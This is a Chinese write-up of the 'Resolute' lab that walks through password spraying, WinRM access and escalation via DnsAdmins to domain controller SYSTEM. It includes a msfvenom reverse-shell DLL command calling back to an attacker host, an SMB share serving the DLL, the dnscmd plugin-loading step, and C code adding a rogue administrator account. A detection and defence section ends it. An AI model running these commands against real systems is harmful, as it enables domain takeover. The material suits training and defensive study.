域渗透实战之Resolute
字数 1094 2025-08-24 07:48:23
域渗透实战:利用DnsAdmins组权限提升至域控
信息收集阶段
端口扫描
使用nmap进行初始扫描,发现以下关键端口开放:
- 53 (DNS)
- 135 (RPC)
- 139 (NetBIOS)
- 445 (SMB)
SMB枚举
- 使用smbmap尝试空密码连接(未成功)
- 使用enum4linux枚举域用户:
获取了用户列表,包括Ryan、Melanie等enum4linux -U <目标IP>
密码喷射攻击
使用crackmapexec进行密码喷射:
crackmapexec smb <目标IP> -u users.txt -p passwords.txt
初始访问
WinRM连接
通过密码喷射获取有效凭据后,使用WinRM连接:
evil-winrm -i <目标IP> -u <用户名> -p <密码>
权限提升路径
发现DnsAdmins组成员
- 登录后检查用户组:
发现当前用户是DnsAdmins组成员whoami /all
DnsAdmins组特权分析
DnsAdmins组成员可以:
- 配置DNS服务器插件DLL
- 重启DNS服务
- 通过恶意DLL获取SYSTEM权限
利用DnsAdmins权限
生成恶意DLL
使用msfvenom生成反向shell DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻击机IP> LPORT=<端口> -f dll -o rev.dll
设置SMB共享
在攻击机上设置SMB共享:
impacket-smbserver s . -smb2support
配置恶意DLL
在目标机器上执行:
dnscmd.exe /config /serverlevelplugindll \\<攻击机IP>\s\rev.dll
重启DNS服务
sc stop dns
sc start dns
技术原理深入
DNS服务器管理协议
- 基于RPC的协议
- 接口UUID: 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076
- 使用命名管道:\PIPE\DNSSERVER
ServerLevelPluginDll机制
- 修改注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll - DNS服务重启时会加载指定DLL
- DLL需要导出以下函数:
- DnsPluginInitialize
- DnsPluginCleanup
- DnsPluginQuery
最小DLL示例代码
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
return TRUE;
}
extern "C" __declspec(dllexport) DWORD DnsPluginInitialize(PVOID p1, PVOID p2) {
system("cmd.exe /c net user hacker P@ssw0rd! /add");
system("cmd.exe /c net localgroup administrators hacker /add");
return 0;
}
extern "C" __declspec(dllexport) DWORD DnsPluginCleanup() {
return 0;
}
extern "C" __declspec(dllexport) DWORD DnsPluginQuery(PVOID p1, PVOID p2, PVOID p3) {
return 0;
}
检测与防御
检测指标
-
进程创建监控:
- 检测dnscmd.exe执行
- 命令行包含"/config /serverlevelplugindll"
-
注册表监控:
- 监控HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll变更
防御措施
-
最小权限原则:
- 严格控制DnsAdmins组成员
- 定期审计组成员
-
监控措施:
- 监控DNS服务异常重启
- 监控来自非管理员账户的dnscmd.exe执行
-
系统加固:
- 限制DNS服务账户权限
- 禁用不必要的插件功能
总结
通过利用DnsAdmins组的权限,攻击者可以:
- 加载恶意DLL到DNS服务
- 获取SYSTEM权限
- 完全控制域控制器
这种攻击方式利用了Windows DNS服务的合法功能,属于"Feature not bug"类漏洞,防御重点在于严格的权限控制和行为监控。